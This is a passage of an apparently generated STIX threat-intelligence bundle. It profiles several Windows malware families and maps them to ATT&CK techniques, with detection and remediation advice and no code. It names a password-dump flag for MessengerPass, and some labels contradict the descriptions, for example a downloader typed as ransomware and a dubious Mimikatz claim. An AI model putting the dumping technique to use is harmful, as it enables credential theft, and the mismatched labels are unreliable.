      "description": "Memery (cataloged across security software as Trojan:Win32/Memery, Backdoor:Win32/Memery, and Trojan-Spy.Win32.Memery) is an evasive memory-resident trojan and credential harvester. Engineered for stealthy persistence, Memery avoids leaving conspicuous binary artifacts on disk by executing the bulk of its malicious logic directly in host memory. Following initial infection, Memery injects execution threads into critical Windows system processes (such as explorer.exe or svchost.exe) via process hollowing or asynchronous procedure call (APC) injection. From within the memory space of trusted processes, Memery captures typed keystrokes, intercepts authentication tokens, extracts web browser session cookies, and beacons collected intelligence to cybercriminal infrastructure over encrypted C2 channels. (Observed samples in benchmark: 445)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Memery",
        "Backdoor:Win32/Memery",
        "Trojan-Spy.Win32.Memery",
        "Win32/Memery.Trojan",
        "Spyware.Memery"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Memery",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/memery"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21d4bdd3-9dbe-57d3-91ad-c6a53a2ac18c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e8c5428-e376-58f3-97c5-2f7de78e09a4",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Memery exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f92e117-64f3-5d8a-b7a5-9ccd47761d31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e8c5428-e376-58f3-97c5-2f7de78e09a4",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Memery exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d469e170-8c10-5237-9c61-7b5bd469d8be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e8c5428-e376-58f3-97c5-2f7de78e09a4",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Memery exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--105e13fc-1755-5cfc-ad6c-57f951cfaa2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e8c5428-e376-58f3-97c5-2f7de78e09a4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Memery exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0446b998-0cdc-5eaf-906b-6bbd9ed4eadc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0e8c5428-e376-58f3-97c5-2f7de78e09a4",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Memery exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac6ee810-269b-55c6-976b-96a570b9db7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Meno",
      "description": "<h3>Executive Summary</h3>\nMeno is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMeno is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Meno operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Meno ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Meno receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Meno infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Meno executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Meno frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Meno",
        "Downloader.Meno",
        "Win32/Meno"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Meno",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/meno"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac931ca9-d029-5ac0-9e35-60966edadd9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac6ee810-269b-55c6-976b-96a570b9db7a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meno exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ee94381-d252-5f58-a790-b9aff7f6ace9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac6ee810-269b-55c6-976b-96a570b9db7a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meno exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bf1c72ca-2f15-54ad-b5c4-9bb92a488007",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac6ee810-269b-55c6-976b-96a570b9db7a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meno exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1860735f-d227-5deb-a675-288fcf192dc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mensa",
      "description": "Trojan:Win32/Mensa is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mensa</b><br>To an end-user, a Mensa infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mensa is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mensa is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mensa frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mensa reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mensa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mensa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--817bb680-bddc-590f-a66d-8ef81c3c9939",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1860735f-d227-5deb-a675-288fcf192dc5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mensa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ba30abf-f900-553f-9e33-544d8e521234",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1860735f-d227-5deb-a675-288fcf192dc5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mensa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d357352-f832-505d-80ed-a2f66f0dd965",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1860735f-d227-5deb-a675-288fcf192dc5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mensa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7ca186b-01d1-50f0-bd4c-8d0442e91cbb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1860735f-d227-5deb-a675-288fcf192dc5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mensa exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7644548e-0114-511b-aa4e-9088670fde5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1860735f-d227-5deb-a675-288fcf192dc5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mensa exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6f91fe07-1b5d-5028-9c2e-b3315c406712",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Menti",
      "description": "Adware:Win32/Menti is a deceptive adware framework and Potentially Unwanted Program (PUA) that silently infiltrates endpoints, typically bundled with freeware, to inject intrusive advertisements, hijack browser settings, and harvest user search telemetry for affiliate monetization.<br><br><b>What is Menti?</b><br>To the average user, Menti is highly visible and deeply frustrating. The browser homepage is forcibly changed, default search engines are locked to unfamiliar domains, and standard websites are flooded with injected banner ads or in-text hyperlinks. For security analysts, Menti operates on the Pay-Per-Install (PPI) model. It leverages deceptive installation tactics and aggressive persistence mechanisms to ensure the user cannot easily revert their browser settings, guaranteeing continued revenue generation for the attackers.<br><br><b>Infection Vectors & Threat Hunting</b><br>Menti is almost exclusively distributed via deceptive software bundlers. When a user downloads a free PDF editor or media player from a third-party site, the Menti wrapper executes first. It employs 'Dark Patterns'\u2014pre-checked boxes hidden behind 'Advanced' menus\u2014to gain technical consent. Upon execution, it installs malicious browser extensions (`T1176`) and frequently leverages Windows Group Policy (GPO) settings (`ExtensionInstallForcelist`) to lock the rogue extensions in place. It establishes persistence via Registry Run keys and scheduled tasks.<br><br><b>Forensic Analysis & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known ad-tracking networks. EDR logs will show the initial installer attempting to modify browser preference files (e.g., Chrome's `Preferences` JSON file) and establishing unauthorized Group Policies. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Menti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/menti"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b5725ed-8cc8-5529-8608-9e275d33e433",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f91fe07-1b5d-5028-9c2e-b3315c406712",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Menti exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b62b9dcf-fec3-5181-bcd8-3ed99d68ee10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f91fe07-1b5d-5028-9c2e-b3315c406712",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Menti exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d97c5d7c-6ae3-5ced-a428-467bb1165d70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f91fe07-1b5d-5028-9c2e-b3315c406712",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Menti exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36af799b-eb3f-58b0-98a6-3e78c60d163e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f91fe07-1b5d-5028-9c2e-b3315c406712",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Menti exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2f34134-08d5-508b-b635-a6d895896d86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6f91fe07-1b5d-5028-9c2e-b3315c406712",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Menti exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2938d784-6f46-5c19-b3a5-c3f3ffdc21ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mepaow",
      "description": "Mepaow (cataloged in antivirus vendor databases and threat intelligence feeds under detections including Trojan:Win32/Mepaow, Worm.Win32.MEPAOW, and Trojan.Mepaow) is a hybrid Windows trojan and worm active since 2012. Engineered to maintain persistent access across enterprise networks and consumer workstations, Mepaow spreads via infected removable USB media (leveraging autorun.inf scripts and deceptive shortcut files) as well as malicious email attachments. Once active, Mepaow copies itself into system directories under randomized filenames, registers autostart keys under Windows CurrentVersion\\Run, and injects surveillance threads into legitimate operating system processes. It records active user windows, hooks keyboard inputs to capture credentials, and establishes beaconing sessions with attacker-controlled command servers over HTTP to download secondary malicious binaries. (Observed samples in benchmark: 68)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Mepaow",
        "Worm.Win32.MEPAOW",
        "Trojan.Mepaow",
        "Win32/Mepaow"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mepaow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mepaow"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a882901-57dc-587d-950b-c0d8eedfc257",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2938d784-6f46-5c19-b3a5-c3f3ffdc21ab",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mepaow exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4120ac02-d7ca-5066-b0fc-abb9fd1abd77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2938d784-6f46-5c19-b3a5-c3f3ffdc21ab",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mepaow exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6660e5fc-80e2-52c9-8bd8-d0f75d1ba9c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2938d784-6f46-5c19-b3a5-c3f3ffdc21ab",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mepaow exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e82802b-d3e1-532c-9800-b3d8e7bb14e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2938d784-6f46-5c19-b3a5-c3f3ffdc21ab",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mepaow exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4705b98-e2d8-5204-9bdf-1e3356ce7824",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2938d784-6f46-5c19-b3a5-c3f3ffdc21ab",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mepaow exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aefb2629-efc4-57f9-9499-6a5b55937847",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Messengerpass",
      "description": "<h3>Executive Summary</h3>\nMessengerPass is a classification frequently applied to a legitimate password recovery utility developed by NirSoft, designed to extract saved login credentials from various Instant Messaging (IM) clients (like MSN, Yahoo!, Google Talk, ICQ). Because it instantly retrieves passwords in clear text without requiring the user's master password, security vendors universally classify it as a \"HackTool\" or \"Riskware.\" Threat actors, particularly Initial Access Brokers, heavily abuse this utility post-compromise to rapidly harvest corporate communication credentials.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMessengerPass is not self-replicating malware. It is a standalone executable (`mspass.exe`) that is typically dropped onto a system by an attacker who has already gained interactive access, or it is executed silently in the background by a malicious script or a dropper Trojan.\n\nUpon execution, its capabilities are highly focused and dangerous:\n<ul>\n<li><strong>Registry and File Parsing:</strong> The utility automatically scans the Windows Registry and specific application data folders (`%APPDATA%`) looking for the encrypted credential stores utilized by supported IM clients.</li>\n<li><strong>Plain-Text Decryption:</strong> It leverages the Windows Data Protection API (DPAPI) or specific decryption algorithms to reverse the local encryption applied by the IM clients, instantly displaying the usernames and passwords in clear text.</li>\n<li><strong>Command-Line Automation (Abuse):</strong> Attackers frequently abuse the tool's command-line interface. By executing the utility with specific flags (e.g., `/stext output.txt`), the tool runs completely silently, dumps all recovered IM passwords to a hidden text file, and exits, allowing the attacker to easily exfiltrate the file via a reverse shell.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized execution of MessengerPass on a corporate endpoint is a critical indicator of an active credential harvesting operation. It signifies that an attacker has gained sufficient privileges to run credential-dumping tools and has successfully stolen passwords that may be reused across other corporate systems or used to impersonate employees.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Investigation:</strong> Determine if the execution was authorized by IT for legitimate password recovery. If not, the endpoint must be considered actively compromised and isolated immediately.</li>\n<li><strong>Trace the Execution:</strong> Utilize EDR telemetry to determine *how* the tool was executed. Identify the parent process (e.g., `cmd.exe`, `powershell.exe`, or a malicious dropper) to locate the source of the initial breach.</li>\n<li><strong>Mandatory Global Credential Reset:</strong> If unauthorized execution is confirmed, all passwords stored in the user's IM clients, and any identical passwords used for Active Directory or corporate web apps, must be reset immediately.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.MSPass",
        "Riskware.PasswordViewer",
        "PWS.Nirsoft",
        "Tool.MessengerPass"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Messengerpass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/messengerpass"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3b4e29d-1f11-5566-9be5-e95c63ca4c8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aefb2629-efc4-57f9-9499-6a5b55937847",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Messengerpass exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6dab7ba8-395b-555c-936b-844dc5453686",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aefb2629-efc4-57f9-9499-6a5b55937847",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Messengerpass exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c402bc3-69d8-54a0-ab79-649fd23d6c18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aefb2629-efc4-57f9-9499-6a5b55937847",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Messengerpass exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82d2840c-b4f3-5daa-9427-6eb283f46a41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Messiah",
      "description": "Messiah (cataloged across security software as Trojan:Win32/Messiah, Backdoor.Win32.Messiah, and Trojan.Messiah) is a classic Delphi-authored remote access trojan that surfaced in the early-to-mid 2000s cybercrime era. Developed to establish persistent unauthorized control over compromised Windows endpoints, Messiah listens on custom TCP ports or connects back to attacker-designated command infrastructure. The trojan equips remote operators with interactive shell access, file uploading and downloading, process termination, system rebooting, user account manipulation, and arbitrary command execution. Messiah was distributed across peer-to-peer file sharing networks, IRC DCC file transfers, and bundled with freeware game utilities.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Messiah",
        "Backdoor.Win32.Messiah",
        "Trojan.Messiah",
        "Win32/Messiah.RAT",
        "Messiah.Server"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Messiah",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/messiah"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4440a7e-ab06-51bb-b548-b375f4183ad4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d2840c-b4f3-5daa-9427-6eb283f46a41",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Messiah exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1792752a-1bb6-5ead-a2c0-3bfb53cf34cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82d2840c-b4f3-5daa-9427-6eb283f46a41",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
